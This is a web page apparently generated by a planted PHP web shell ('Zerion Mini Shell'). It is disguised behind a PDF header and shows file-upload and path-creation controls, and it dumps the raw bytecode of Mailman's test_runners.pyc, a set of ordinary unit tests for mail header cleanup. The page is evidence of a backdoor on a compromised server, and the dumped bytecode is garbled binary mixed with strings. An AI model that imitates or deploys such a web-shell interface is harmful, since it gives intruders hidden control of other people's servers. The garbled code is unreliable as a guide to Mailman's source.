%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/mailman/tests/
Upload File :
Create Path :
Current File : //proc/self/root/lib/mailman/tests/test_runners.pyc

�
�ac@s�dZddlZddlZyddlmZWnek
rQddlZnXddlmZddl	m	Z	de	fd��YZ
d�Zed	kr�ej
d
d�ndS(s<Unit tests for the various Mailman/Queue/*Runner.py modules
i����N(t__init__(tprepare_message(tTestBasetTestPrepMessagecBs#eZd�Zd�Zd�ZRS(cCs|j}tjd�}i}t|j||�||jd�d�||dd�||dd�||dd�||d	d�||d
d�||dd�||dd�||d
d�||dd�||dd�||dd�||dd�dS(Ns)From: aperson@dom.ain
To: _xtest@dom.ain
NNTP-Posting-Host: news.dom.ain
NNTP-Posting-Date: today
X-Trace: blah blah
X-Complaints-To: abuse@dom.ain
Xref: blah blah
Xref: blah blah
Date-Received: yesterday
Posted: tomorrow
Posting-Version: 99.99
Relay-Version: 88.88
Received: blah blah

A message
tpreppeditfromsaperson@dom.ainttos_xtest@dom.ainsnntp-posting-hostsnntp-posting-datesx-tracesx-complaints-totxrefs
date-receivedtpostedsposting-versions
relay-versiontreceived(tassertEqualtemailtmessage_from_stringRt_mlisttgettNone(tselfteqtmsgtmsgdata((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyttest_remove_unacceptables"s$		cCs�|j}tjd�}i}t|j||�||jd�d�||dd�||dd�||dd	�||d
d�dS(NsiFrom: aperson@dom.ain
To: _xtest@dom.ain
Cc: someother@dom.ain
Content-Transfer-Encoding: yes

A message
RiRsaperson@dom.ainRs_xtest@dom.aintccssomeother@dom.ainscontent-transfer-encodingtyes(R
RRRR
R(RRRR((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyt#test_munge_duplicates_no_duplicatesEs		cCs|j}tjd�}i}t|j||�||jd�d�||jd�dg�||jd�dg�||jd�d	g�||jd
�dg�||jd�d
g�||jd�ddg�||jd�ddg�dS(Ns�From: aperson@dom.ain
To: _xtest@dom.ain
To: two@dom.ain
Cc: three@dom.ain
Cc: four@dom.ain
Cc: five@dom.ain
Content-Transfer-Encoding: yes
Content-Transfer-Encoding: no
Content-Transfer-Encoding: maybe

A message
RiRsaperson@dom.ainRs_xtest@dom.ainRs
three@dom.ainscontent-transfer-encodingRs
x-original-tostwo@dom.ains
x-original-ccsfour@dom.ainsfive@dom.ains$x-original-content-transfer-encodingtnotmaybe(R
RRRR
Rtget_all(RRRR((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyttest_munge_duplicatesWs		(t__name__t
__module__RRR(((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyR!s	#	cCs&tj�}|jtjt��|S(N(tunittestt	TestSuitetaddTestt	makeSuiteR(tsuite((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyR"tst__main__tdefaultTestR"(t__doc__RRtMailmanRtImportErrortpathstMailman.Queue.NewsRunnerRRRR"Rtmain(((s`/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/tests/test_runners.pyt<module>s
S	

Zerion Mini Shell 1.0